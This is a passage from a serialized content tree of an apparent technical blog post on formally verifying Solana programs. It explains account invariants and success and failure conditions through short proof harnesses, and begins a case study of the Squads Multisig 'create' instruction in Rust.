"tag":230,"props":24391,"children":24393},{"className":24392,"style":23897},[6339],[],{"type":23,"tag":230,"props":24395,"children":24397},{"className":24396,"style":24361},[6345,23902],[24398],{"type":29,"value":24399},"E",{"type":29,"value":817},{"type":23,"tag":71,"props":24402,"children":24404},{"className":24403},[],[24405],{"type":29,"value":22476},{"type":23,"tag":32,"props":24407,"children":24408},{},[24409,24411,24438,24440,24445,24447,24453],{"type":29,"value":24410},"And ",{"type":23,"tag":71,"props":24412,"children":24414},{"className":24413},[6318,6319],[24415],{"type":23,"tag":230,"props":24416,"children":24418},{"className":24417},[6324],[24419],{"type":23,"tag":230,"props":24420,"children":24422},{"className":24421,"ariaHidden":1726},[6329],[24423],{"type":23,"tag":230,"props":24424,"children":24426},{"className":24425},[6334],[24427,24431],{"type":23,"tag":230,"props":24428,"children":24430},{"className":24429,"style":23897},[6339],[],{"type":23,"tag":230,"props":24432,"children":24435},{"className":24433,"style":24434},[6345,23902],"margin-right:0.07153em;",[24436],{"type":29,"value":24437},"K",{"type":29,"value":24439}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":71,"props":24441,"children":24443},{"className":24442},[],[24444],{"type":29,"value":22804},{"type":29,"value":24446}," not an ",{"type":23,"tag":71,"props":24448,"children":24450},{"className":24449},[],[24451],{"type":29,"value":24452},"Err",{"type":29,"value":23057},{"type":23,"tag":32,"props":24455,"children":24456},{},[24457],{"type":29,"value":24458},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":59,"props":24460,"children":24462},{"id":24461},"account-invariants-1",[24463],{"type":29,"value":24464},"Account invariants",{"type":23,"tag":32,"props":24466,"children":24467},{},[24468,24470,24501,24503,24533,24535,24565],{"type":29,"value":24469},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":71,"props":24471,"children":24473},{"className":24472},[6318,6319],[24474],{"type":23,"tag":230,"props":24475,"children":24477},{"className":24476},[6324],[24478],{"type":23,"tag":230,"props":24479,"children":24481},{"className":24480,"ariaHidden":1726},[6329],[24482],{"type":23,"tag":230,"props":24483,"children":24485},{"className":24484},[6334],[24486,24490,24496],{"type":23,"tag":230,"props":24487,"children":24489},{"className":24488,"style":23897},[6339],[],{"type":23,"tag":230,"props":24491,"children":24493},{"className":24492},[6345],[24494],{"type":29,"value":24495},"¬",{"type":23,"tag":230,"props":24497,"children":24499},{"className":24498,"style":24434},[6345,23902],[24500],{"type":29,"value":24437},{"type":29,"value":24502},") or the account post-invariants should hold (",{"type":23,"tag":71,"props":24504,"children":24506},{"className":24505},[6318,6319],[24507],{"type":23,"tag":230,"props":24508,"children":24510},{"className":24509},[6324],[24511],{"type":23,"tag":230,"props":24512,"children":24514},{"className":24513,"ariaHidden":1726},[6329],[24515],{"type":23,"tag":230,"props":24516,"children":24518},{"className":24517},[6334],[24519,24523,24528],{"type":23,"tag":230,"props":24520,"children":24522},{"className":24521,"style":23897},[6339],[],{"type":23,"tag":230,"props":24524,"children":24526},{"className":24525,"style":23903},[6345,23902],[24527],{"type":29,"value":23906},{"type":23,"tag":230,"props":24529,"children":24531},{"className":24530},[6345],[24532],{"type":29,"value":6348},{"type":29,"value":24534},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":71,"props":24536,"children":24538},{"className":24537},[6318,6319],[24539],{"type":23,"tag":230,"props":24540,"children":24542},{"className":24541},[6324],[24543],{"type":23,"tag":230,"props":24544,"children":24546},{"className":24545,"ariaHidden":1726},[6329],[24547],{"type":23,"tag":230,"props":24548,"children":24550},{"className":24549},[6334],[24551,24555,24560],{"type":23,"tag":230,"props":24552,"children":24554},{"className":24553,"style":23897},[6339],[],{"type":23,"tag":230,"props":24556,"children":24558},{"className":24557,"style":23903},[6345,23902],[24559],{"type":29,"value":23906},{"type":23,"tag":230,"props":24561,"children":24563},{"className":24562},[6345],[24564],{"type":29,"value":6358},{"type":29,"value":24566},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":32,"props":24568,"children":24569},{},[24570,24572],{"type":29,"value":24571},"So we are trying to prove that ",{"type":23,"tag":71,"props":24573,"children":24575},{"className":24574},[6318,6319],[24576],{"type":23,"tag":230,"props":24577,"children":24579},{"className":24578},[6324],[24580],{"type":23,"tag":230,"props":24581,"children":24583},{"className":24582,"ariaHidden":1726},[6329],[24584,24621,24653],{"type":23,"tag":230,"props":24585,"children":24587},{"className":24586},[6334],[24588,24592,24597,24602,24607,24611,24617],{"type":23,"tag":230,"props":24589,"children":24591},{"className":24590,"style":6447},[6339],[],{"type":23,"tag":230,"props":24593,"children":24595},{"className":24594},[24031],[24596],{"type":29,"value":302},{"type":23,"tag":230,"props":24598,"children":24600},{"className":24599,"style":23903},[6345,23902],[24601],{"type":29,"value":23906},{"type":23,"tag":230,"props":24603,"children":24605},{"className":24604},[6345],[24606],{"type":29,"value":6358},{"type":23,"tag":230,"props":24608,"children":24610},{"className":24609,"style":6427},[6426],[],{"type":23,"tag":230,"props":24612,"children":24614},{"className":24613},[6432],[24615],{"type":29,"value":24616},"∧",{"type":23,"tag":230,"props":24618,"children":24620},{"className":24619,"style":6427},[6426],[],{"type":23,"tag":230,"props":24622,"children":24624},{"className":24623},[6334],[24625,24629,24634,24639,24643,24649],{"type":23,"tag":230,"props":24626,"children":24628},{"className":24627,"style":6447},[6339],[],{"type":23,"tag":230,"props":24630,"children":24632},{"className":24631,"style":24434},[6345,23902],[24633],{"type":29,"value":24437},{"type":23,"tag":230,"props":24635,"children":24637},{"className":24636},[24053],[24638],{"type":29,"value":5467},{"type":23,"tag":230,"props":24640,"children":24642},{"className":24641,"style":6524},[6426],[],{"type":23,"tag":230,"props":24644,"children":24646},{"className":24645},[6529],[24647],{"type":29,"value":24648},"→",{"type":23,"tag":230,"props":24650,"children":24652},{"className":24651,"style":6524},[6426],[],{"type":23,"tag":230,"props":24654,"children":24656},{"className":24655},[6334],[24657,24661,24666],{"type":23,"tag":230,"props":24658,"children":24660},{"className":24659,"style":23897},[6339],[],{"type":23,"tag":230,"props":24662,"children":24664},{"className":24663,"style":23903},[6345,23902],[24665],{"type":29,"value":23906},{"type":23,"tag":230,"props":24667,"children":24669},{"className":24668},[6345],[24670],{"type":29,"value":6348},{"type":23,"tag":32,"props":24672,"children":24673},{},[24674],{"type":29,"value":24675},"We can construct a proof harness like the following:",{"type":23,"tag":220,"props":24677,"children":24679},{"code":24678,"language":21776,"meta":7,"className":21777,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[24680],{"type":23,"tag":71,"props":24681,"children":24682},{"__ignoreMap":7},[24683,24691,24708],{"type":23,"tag":230,"props":24684,"children":24685},{"class":232,"line":233},[24686],{"type":23,"tag":230,"props":24687,"children":24688},{"style":274},[24689],{"type":29,"value":24690},"assume(P0)\n",{"type":23,"tag":230,"props":24692,"children":24693},{"class":232,"line":243},[24694,24699,24703],{"type":23,"tag":230,"props":24695,"children":24696},{"style":274},[24697],{"type":29,"value":24698},"res ",{"type":23,"tag":230,"props":24700,"children":24701},{"style":268},[24702],{"type":29,"value":863},{"type":23,"tag":230,"props":24704,"children":24705},{"style":274},[24706],{"type":29,"value":24707}," instruction_handler(...)\n",{"type":23,"tag":230,"props":24709,"children":24710},{"class":232,"line":252},[24711,24715,24719,24724,24729,24734],{"type":23,"tag":230,"props":24712,"children":24713},{"style":866},[24714],{"type":29,"value":22298},{"type":23,"tag":230,"props":24716,"children":24717},{"style":274},[24718],{"type":29,"value":302},{"type":23,"tag":230,"props":24720,"children":24722},{"style":24721},"--shiki-default:#F44747",[24723],{"type":29,"value":22936},{"type":23,"tag":230,"props":24725,"children":24726},{"style":274},[24727],{"type":29,"value":24728},"K ",{"type":23,"tag":230,"props":24730,"children":24731},{"style":24721},[24732],{"type":29,"value":24733},"||",{"type":23,"tag":230,"props":24735,"children":24736},{"style":274},[24737],{"type":29,"value":24738}," P1)\n",{"type":23,"tag":32,"props":24740,"children":24741},{},[24742],{"type":29,"value":24743},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":59,"props":24745,"children":24747},{"id":24746},"positive-instruction-invariant",[24748],{"type":29,"value":24749},"Positive instruction invariant",{"type":23,"tag":32,"props":24751,"children":24752},{},[24753,24755,24761,24763,24814],{"type":29,"value":24754},"Next we need to prove that ",{"type":23,"tag":71,"props":24756,"children":24758},{"className":24757},[],[24759],{"type":29,"value":24760},"success_if",{"type":29,"value":24762}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":71,"props":24764,"children":24766},{"className":24765},[6318,6319],[24767],{"type":23,"tag":230,"props":24768,"children":24770},{"className":24769},[6324],[24771],{"type":23,"tag":230,"props":24772,"children":24774},{"className":24773,"ariaHidden":1726},[6329],[24775,24801],{"type":23,"tag":230,"props":24776,"children":24778},{"className":24777},[6334],[24779,24783,24788,24792,24797],{"type":23,"tag":230,"props":24780,"children":24782},{"className":24781,"style":23897},[6339],[],{"type":23,"tag":230,"props":24784,"children":24786},{"className":24785,"style":24361},[6345,23902],[24787],{"type":29,"value":24364},{"type":23,"tag":230,"props":24789,"children":24791},{"className":24790,"style":6524},[6426],[],{"type":23,"tag":230,"props":24793,"children":24795},{"className":24794},[6529],[24796],{"type":29,"value":24648},{"type":23,"tag":230,"props":24798,"children":24800},{"className":24799,"style":6524},[6426],[],{"type":23,"tag":230,"props":24802,"children":24804},{"className":24803},[6334],[24805,24809],{"type":23,"tag":230,"props":24806,"children":24808},{"className":24807,"style":23897},[6339],[],{"type":23,"tag":230,"props":24810,"children":24812},{"className":24811,"style":24434},[6345,23902],[24813],{"type":29,"value":24437},{"type":29,"value":312},{"type":23,"tag":32,"props":24816,"children":24817},{},[24818],{"type":29,"value":24819},"Just like before we can construct a proof harness:",{"type":23,"tag":220,"props":24821,"children":24823},{"code":24822,"language":21776,"meta":7,"className":21777,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[24824],{"type":23,"tag":71,"props":24825,"children":24826},{"__ignoreMap":7},[24827,24835,24850],{"type":23,"tag":230,"props":24828,"children":24829},{"class":232,"line":233},[24830],{"type":23,"tag":230,"props":24831,"children":24832},{"style":274},[24833],{"type":29,"value":24834},"assume(S)\n",{"type":23,"tag":230,"props":24836,"children":24837},{"class":232,"line":243},[24838,24842,24846],{"type":23,"tag":230,"props":24839,"children":24840},{"style":274},[24841],{"type":29,"value":24698},{"type":23,"tag":230,"props":24843,"children":24844},{"style":268},[24845],{"type":29,"value":863},{"type":23,"tag":230,"props":24847,"children":24848},{"style":274},[24849],{"type":29,"value":24707},{"type":23,"tag":230,"props":24851,"children":24852},{"class":232,"line":252},[24853,24857],{"type":23,"tag":230,"props":24854,"children":24855},{"style":866},[24856],{"type":29,"value":22298},{"type":23,"tag":230,"props":24858,"children":24859},{"style":274},[24860],{"type":29,"value":24861},"(K)\n",{"type":23,"tag":32,"props":24863,"children":24864},{},[24865,24867,24872,24874,24886],{"type":29,"value":24866},"This proof assures that whenever ",{"type":23,"tag":71,"props":24868,"children":24870},{"className":24869},[],[24871],{"type":29,"value":22469},{"type":29,"value":24873}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":2258,"props":24875,"children":24876},{},[24877,24879,24884],{"type":29,"value":24878},"even if ",{"type":23,"tag":71,"props":24880,"children":24882},{"className":24881},[],[24883],{"type":29,"value":22469},{"type":29,"value":24885}," is not satisfied",{"type":29,"value":24887},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":59,"props":24889,"children":24891},{"id":24890},"_3-negative-instruction-invariant",[24892],{"type":29,"value":24893},"3. Negative instruction invariant",{"type":23,"tag":32,"props":24895,"children":24896},{},[24897,24899,24904,24906,24962],{"type":29,"value":24898},"Finally, we want to prove that ",{"type":23,"tag":71,"props":24900,"children":24902},{"className":24901},[],[24903],{"type":29,"value":22476},{"type":29,"value":24905}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":71,"props":24907,"children":24909},{"className":24908},[6318,6319],[24910],{"type":23,"tag":230,"props":24911,"children":24913},{"className":24912},[6324],[24914],{"type":23,"tag":230,"props":24915,"children":24917},{"className":24916,"ariaHidden":1726},[6329],[24918,24944],{"type":23,"tag":230,"props":24919,"children":24921},{"className":24920},[6334],[24922,24926,24931,24935,24940],{"type":23,"tag":230,"props":24923,"children":24925},{"className":24924,"style":23897},[6339],[],{"type":23,"tag":230,"props":24927,"children":24929},{"className":24928,"style":24361},[6345,23902],[24930],{"type":29,"value":24399},{"type":23,"tag":230,"props":24932,"children":24934},{"className":24933,"style":6524},[6426],[],{"type":23,"tag":230,"props":24936,"children":24938},{"className":24937},[6529],[24939],{"type":29,"value":24648},{"type":23,"tag":230,"props":24941,"children":24943},{"className":24942,"style":6524},[6426],[],{"type":23,"tag":230,"props":24945,"children":24947},{"className":24946},[6334],[24948,24952,24957],{"type":23,"tag":230,"props":24949,"children":24951},{"className":24950,"style":23897},[6339],[],{"type":23,"tag":230,"props":24953,"children":24955},{"className":24954},[6345],[24956],{"type":29,"value":24495},{"type":23,"tag":230,"props":24958,"children":24960},{"className":24959,"style":24434},[6345,23902],[24961],{"type":29,"value":24437},{"type":29,"value":312},{"type":23,"tag":32,"props":24964,"children":24965},{},[24966],{"type":29,"value":24967},"This harness looks just like the previous one:",{"type":23,"tag":220,"props":24969,"children":24971},{"code":24970,"language":21776,"meta":7,"className":21777,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[24972],{"type":23,"tag":71,"props":24973,"children":24974},{"__ignoreMap":7},[24975,24983,24998],{"type":23,"tag":230,"props":24976,"children":24977},{"class":232,"line":233},[24978],{"type":23,"tag":230,"props":24979,"children":24980},{"style":274},[24981],{"type":29,"value":24982},"assume(E)\n",{"type":23,"tag":230,"props":24984,"children":24985},{"class":232,"line":243},[24986,24990,24994],{"type":23,"tag":230,"props":24987,"children":24988},{"style":274},[24989],{"type":29,"value":24698},{"type":23,"tag":230,"props":24991,"children":24992},{"style":268},[24993],{"type":29,"value":863},{"type":23,"tag":230,"props":24995,"children":24996},{"style":274},[24997],{"type":29,"value":24707},{"type":23,"tag":230,"props":24999,"children":25000},{"class":232,"line":252},[25001,25005,25009,25013],{"type":23,"tag":230,"props":25002,"children":25003},{"style":866},[25004],{"type":29,"value":22298},{"type":23,"tag":230,"props":25006,"children":25007},{"style":274},[25008],{"type":29,"value":302},{"type":23,"tag":230,"props":25010,"children":25011},{"style":24721},[25012],{"type":29,"value":22936},{"type":23,"tag":230,"props":25014,"children":25015},{"style":274},[25016],{"type":29,"value":25017},"K)\n",{"type":23,"tag":32,"props":25019,"children":25020},{},[25021,25023,25027],{"type":29,"value":25022},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":2258,"props":25024,"children":25025},{},[25026],{"type":29,"value":18696},{"type":29,"value":25028}," the account invariants we expect are always being preserved.",{"type":23,"tag":24,"props":25030,"children":25032},{"id":25031},"case-study-squads-multisig",[25033],{"type":29,"value":25034},"Case study: Squads Multisig",{"type":23,"tag":32,"props":25036,"children":25037},{},[25038,25040,25045],{"type":29,"value":25039},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":181,"props":25041,"children":25043},{"href":21144,"rel":25042},[185],[25044],{"type":29,"value":21148},{"type":29,"value":312},{"type":23,"tag":32,"props":25047,"children":25048},{},[25049,25051,25057,25059,25065],{"type":29,"value":25050},"The program defines a Multisig account (",{"type":23,"tag":71,"props":25052,"children":25054},{"className":25053},[],[25055],{"type":29,"value":25056},"Ms",{"type":29,"value":25058},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":71,"props":25060,"children":25062},{"className":25061},[],[25063],{"type":29,"value":25064},"threshold",{"type":29,"value":25066}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":32,"props":25068,"children":25069},{},[25070],{"type":29,"value":25071},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":32,"props":25073,"children":25074},{},[25075],{"type":29,"value":25076},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":144,"props":25078,"children":25079},{},[25080,25085,25090,25095],{"type":23,"tag":102,"props":25081,"children":25082},{},[25083],{"type":29,"value":25084},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":102,"props":25086,"children":25087},{},[25088],{"type":29,"value":25089},"Verify threshold requirements",{"type":23,"tag":102,"props":25091,"children":25092},{},[25093],{"type":29,"value":25094},"Verify requirements to remove a member",{"type":23,"tag":102,"props":25096,"children":25097},{},[25098],{"type":29,"value":25099},"Safety guarantees",{"type":23,"tag":59,"props":25101,"children":25103},{"id":25102},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[25104],{"type":29,"value":25105},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":32,"props":25107,"children":25108},{},[25109,25111,25116],{"type":29,"value":25110},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":71,"props":25112,"children":25114},{"className":25113},[],[25115],{"type":29,"value":22469},{"type":29,"value":25117}," expression.",{"type":23,"tag":32,"props":25119,"children":25120},{},[25121,25123,25128,25130,25136],{"type":29,"value":25122},"Creating a multisig (",{"type":23,"tag":71,"props":25124,"children":25126},{"className":25125},[],[25127],{"type":29,"value":25056},{"type":29,"value":25129},") requires invoking the ",{"type":23,"tag":71,"props":25131,"children":25133},{"className":25132},[],[25134],{"type":29,"value":25135},"create",{"type":29,"value":25137}," instruction:",{"type":23,"tag":220,"props":25139,"children":25141},{"code":25140,"language":5319,"meta":7,"className":5320,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[25142],{"type":23,"tag":71,"props":25143,"children":25144},{"__ignoreMap":7},[25145,25162,25217,25247,25255,25263,25280,25331,25381,25389,25430,25437,25453,25486,25528,25535,25542,25561,25589,25609,25629,25657,25676,25684,25712,25732,25752,25759,25767,25799,25822,25856,25863,25870,25878,25919,25951,25958,25965,25973,26047,26079,26086,26093,26129,26141,26153,26165,26218,26226],{"type":23,"tag":230,"props":25146,"children":25147},{"class":232,"line":233},[25148,25153,25158],{"type":23,"tag":230,"props":25149,"children":25150},{"style":274},[25151],{"type":29,"value":25152},"#[derive(",{"type":23,"tag":230,"props":25154,"children":25155},{"style":676},[25156],{"type":29,"value":25157},"Accounts",{"type":23,"tag":230,"props":25159,"children":25160},{"style":274},[25161],{"type":29,"value":22573},{"type":23,"tag":230,"props":25163,"children":25164},{"class":232,"line":243},[25165,25170,25174,25178,25183,25187,25191,25196,25200,25204,25208,25212],{"type":23,"tag":230,"props":25166,"children":25167},{"style":274},[25168],{"type":29,"value":25169},"#[instruction(threshold",{"type":23,"tag":230,"props":25171,"children":25172},{"style":268},[25173],{"type":29,"value":218},{"type":23,"tag":230,"props":25175,"children":25176},{"style":676},[25177],{"type":29,"value":23344},{"type":23,"tag":230,"props":25179,"children":25180},{"style":274},[25181],{"type":29,"value":25182},", create_key",{"type":23,"tag":230,"props":25184,"children":25185},{"style":268},[25186],{"type":29,"value":218},{"type":23,"tag":230,"props":25188,"children":25189},{"style":676},[25190],{"type":29,"value":23172},{"type":23,"tag":230,"props":25192,"children":25193},{"style":274},[25194],{"type":29,"value":25195},", members",{"type":23,"tag":230,"props":25197,"children":25198},{"style":268},[25199],{"type":29,"value":218},{"type":23,"tag":230,"props":25201,"children":25202},{"style":676},[25203],{"type":29,"value":23703},{"type":23,"tag":230,"props":25205,"children":25206},{"style":274},[25207],{"type":29,"value":8143},{"type":23,"tag":230,"props":25209,"children":25210},{"style":676},[25211],{"type":29,"value":23712},{"type":23,"tag":230,"props":25213,"children":25214},{"style":274},[25215],{"type":29,"value":25216},">)]\n",{"type":23,"tag":230,"props":25218,"children":25219},{"class":232,"line":252},[25220,25224,25228,25233,25238,25243],{"type":23,"tag":230,"props":25221,"children":25222},{"style":256},[25223],{"type":29,"value":16017},{"type":23,"tag":230,"props":25225,"children":25226},{"style":256},[25227],{"type":29,"value":23465},{"type":23,"tag":230,"props":25229,"children":25230},{"style":676},[25231],{"type":29,"value":25232}," Create",{"type":23,"tag":230,"props":25234,"children":25235},{"style":274},[25236],{"type":29,"value":25237},"\u003C'",{"type":23,"tag":230,"props":25239,"children":25240},{"style":676},[25241],{"type":29,"value":25242},"info",{"type":23,"tag":230,"props":25244,"children":25245},{"style":274},[25246],{"type":29,"value":9617},{"type":23,"tag":230,"props":25248,"children":25249},{"class":232,"line":280},[25250],{"type":23,"tag":230,"props":25251,"children":25252},{"style":274},[25253],{"type":29,"value":25254},"    #[account(\n",{"type":23,"tag":230,"props":25256,"children":25257},{"class":232,"line":334},[25258],{"type":23,"tag":230,"props":25259,"children":25260},{"style":274},[25261],{"type":29,"value":25262},"        init,\n",{"type":23,"tag":230,"props":25264,"children":25265},{"class":232,"line":371},[25266,25271,25275],{"type":23,"tag":230,"props":25267,"children":25268},{"style":274},[25269],{"type":29,"value":25270},"        payer ",{"type":23,"tag":230,"props":25272,"children":25273},{"style":268},[25274],{"type":29,"value":863},{"type":23,"tag":230,"props":25276,"children":25277},{"style":274},[25278],{"type":29,"value":25279}," creator,\n",{"type":23,"tag":230,"props":25281,"children":25282},{"class":232,"line":391},[25283,25288,25292,25296,25300,25305,25309,25314,25318,25322,25326],{"type":23,"tag":230,"props":25284,"children":25285},{"style":274},[25286],{"type":29,"value":25287},"        space ",{"type":23,"tag":230,"props":25289,"children":25290},{"style":268},[25291],{"type":29,"value":863},{"type":23,"tag":230,"props":25293,"children":25294},{"style":676},[25295],{"type":29,"value":23470},{"type":23,"tag":230,"props":25297,"children":25298},{"style":268},[25299],{"type":29,"value":5818},{"type":23,"tag":230,"props":25301,"children":25302},{"style":676},[25303],{"type":29,"value":25304},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":230,"props":25306,"children":25307},{"style":268},[25308],{"type":29,"value":11238},{"type":23,"tag":230,"props":25310,"children":25311},{"style":274},[25312],{"type":29,"value":25313}," (members",{"type":23,"tag":230,"props":25315,"children":25316},{"style":268},[25317],{"type":29,"value":312},{"type":23,"tag":230,"props":25319,"children":25320},{"style":274},[25321],{"type":29,"value":23335},{"type":23,"tag":230,"props":25323,"children":25324},{"style":268},[25325],{"type":29,"value":6909},{"type":23,"tag":230,"props":25327,"children":25328},{"style":274},[25329],{"type":29,"value":25330}," 32),\n",{"type":23,"tag":230,"props":25332,"children":25333},{"class":232,"line":400},[25334,25339,25343,25348,25353,25357,25361,25366,25371,25376],{"type":23,"tag":230,"props":25335,"children":25336},{"style":274},[25337],{"type":29,"value":25338},"        seeds ",{"type":23,"tag":230,"props":25340,"children":25341},{"style":268},[25342],{"type":29,"value":863},{"type":23,"tag":230,"props":25344,"children":25345},{"style":274},[25346],{"type":29,"value":25347}," [",{"type":23,"tag":230,"props":25349,"children":25350},{"style":380},[25351],{"type":29,"value":25352},"b\"squad\"",{"type":23,"tag":230,"props":25354,"children":25355},{"style":274},[25356],{"type":29,"value":25182},{"type":23,"tag":230,"props":25358,"children":25359},{"style":268},[25360],{"type":29,"value":312},{"type":23,"tag":230,"props":25362,"children":25363},{"style":274},[25364],{"type":29,"value":25365},"as_ref(), ",{"type":23,"tag":230,"props":25367,"children":25368},{"style":380},[25369],{"type":29,"value":25370},"b\"multisig\"",{"type":23,"tag":230,"props":25372,"children":25373},{"style":274},[25374],{"type":29,"value":25375},"], ",{"type":23,"tag":230,"props":25377,"children":25378},{"style":262},[25379],{"type":29,"value":25380},"bump\n",{"type":23,"tag":230,"props":25382,"children":25383},{"class":232,"line":444},[25384],{"type":23,"tag":230,"props":25385,"children":25386},{"style":274},[25387],{"type":29,"value":25388},"    )]\n",{"type":23,"tag":230,"props":25390,"children":25391},{"class":232,"line":453},[25392,25396,25401,25405,25410,25414,25418,25422,25426],{"type":23,"tag":230,"props":25393,"children":25394},{"style":256},[25395],{"type":29,"value":23158},{"type":23,"tag":230,"props":25397,"children":25398},{"style":262},[25399],{"type":29,"value":25400}," multisig",{"type":23,"tag":230,"props":25402,"children":25403},{"style":268},[25404],{"type":29,"value":218},{"type":23,"tag":230,"props":25406,"children":25407},{"style":676},[25408],{"type":29,"value":25409}," Account",{"type":23,"tag":230,"props":25411,"children":25412},{"style":274},[25413],{"type":29,"value":25237},{"type":23,"tag":230,"props":25415,"children":25416},{"style":676},[25417],{"type":29,"value":25242},{"type":23,"tag":230,"props":25419,"children":25420},{"style":274},[25421],{"type":29,"value":684},{"type":23,"tag":230,"props":25423,"children":25424},{"style":676},[25425],{"type":29,"value":25056},{"type":23,"tag":230,"props":25427,"children":25428},{"style":274},[25429],{"type":29,"value":8475},{"type":23,"tag":230,"props":25431,"children":25432},{"class":232,"line":462},[25433],{"type":23,"tag":230,"props":25434,"children":25435},{"emptyLinePlaceholder":18},[25436],{"type":29,"value":459},{"type":23,"tag":230,"props":25438,"children":25439},{"class":232,"line":471},[25440,25445,25449],{"type":23,"tag":230,"props":25441,"children":25442},{"style":274},[25443],{"type":29,"value":25444},"    #[account(",{"type":23,"tag":230,"props":25446,"children":25447},{"style":256},[25448],{"type":29,"value":6059},{"type":23,"tag":230,"props":25450,"children":25451},{"style":274},[25452],{"type":29,"value":22573},{"type":23,"tag":230,"props":25454,"children":25455},{"class":232,"line":500},[25456,25460,25465,25469,25474,25478,25482],{"type":23,"tag":230,"props":25457,"children":25458},{"style":256},[25459],{"type":29,"value":23158},{"type":23,"tag":230,"props":25461,"children":25462},{"style":262},[25463],{"type":29,"value":25464}," creator",{"type":23,"tag":230,"props":25466,"children":25467},{"style":268},[25468],{"type":29,"value":218},{"type":23,"tag":230,"props":25470,"children":25471},{"style":676},[25472],{"type":29,"value":25473}," Signer",{"type":23,"tag":230,"props":25475,"children":25476},{"style":274},[25477],{"type":29,"value":25237},{"type":23,"tag":230,"props":25479,"children":25480},{"style":676},[25481],{"type":29,"value":25242},{"type":23,"tag":230,"props":25483,"children":25484},{"style":274},[25485],{"type":29,"value":8475},{"type":23,"tag":230,"props":25487,"children":25488},{"class":232,"line":514},[25489,25493,25498,25502,25507,25511,25515,25519,25524],{"type":23,"tag":230,"props":25490,"children":25491},{"style":256},[25492],{"type":29,"value":23158},{"type":23,"tag":230,"props":25494,"children":25495},{"style":262},[25496],{"type":29,"value":25497}," system_program",{"type":23,"tag":230,"props":25499,"children":25500},{"style":268},[25501],{"type":29,"value":218},{"type":23,"tag":230,"props":25503,"children":25504},{"style":676},[25505],{"type":29,"value":25506}," Program",{"type":23,"tag":230,"props":25508,"children":25509},{"style":274},[25510],{"type":29,"value":25237},{"type":23,"tag":230,"props":25512,"children":25513},{"style":676},[25514],{"type":29,"value":25242},{"type":23,"tag":230,"props":25516,"children":25517},{"style":274},[25518],{"type":29,"value":684},{"type":23,"tag":230,"props":25520,"children":25521},{"style":676},[25522],{"type":29,"value":25523},"System",{"type":23,"tag":230,"props":25525,"children":25526},{"style":274},[25527],{"type":29,"value":8475},{"type":23,"tag":230,"props":25529,"children":25530},{"class":232,"line":897},[25531],{"type":23,"tag":230,"props":25532,"children":25533},{"style":274},[25534],{"type":29,"value":975},{"type":23,"tag":230,"props":25536,"children":25537},{"class":232,"line":960},[25538],{"type":23,"tag":230,"props":25539,"children":25540},{"emptyLinePlaceholder":18},[25541],{"type":29,"value":459},{"type":23,"tag":230,"props":25543,"children":25544},{"class":232,"line":969},[25545,25549,25553,25557],{"type":23,"tag":230,"props":25546,"children":25547},{"style":256},[25548],{"type":29,"value":16017},{"type":23,"tag":230,"props":25550,"children":25551},{"style":256},[25552],{"type":29,"value":16022},{"type":23,"tag":230,"props":25554,"children":25555},{"style":294},[25556],{"type":29,"value":9448},{"type":23,"tag":230,"props":25558,"children":25559},{"style":274},[25560],{"type":29,"value":619},{"type":23,"tag":230,"props":25562,"children":25563},{"class":232,"line":4526},[25564,25568,25572,25576,25580,25585],{"type":23,"tag":230,"props":25565,"children":25566},{"style":262},[25567],{"type":29,"value":22538},{"type":23,"tag":230,"props":25569,"children":25570},{"style":268},[25571],{"type":29,"value":218},{"type":23,"tag":230,"props":25573,"children":25574},{"style":676},[25575],{"type":29,"value":22604},{"type":23,"tag":230,"props":25577,"children":25578},{"style":274},[25579],{"type":29,"value":8143},{"type":23,"tag":230,"props":25581,"children":25582},{"style":676},[25583],{"type":29,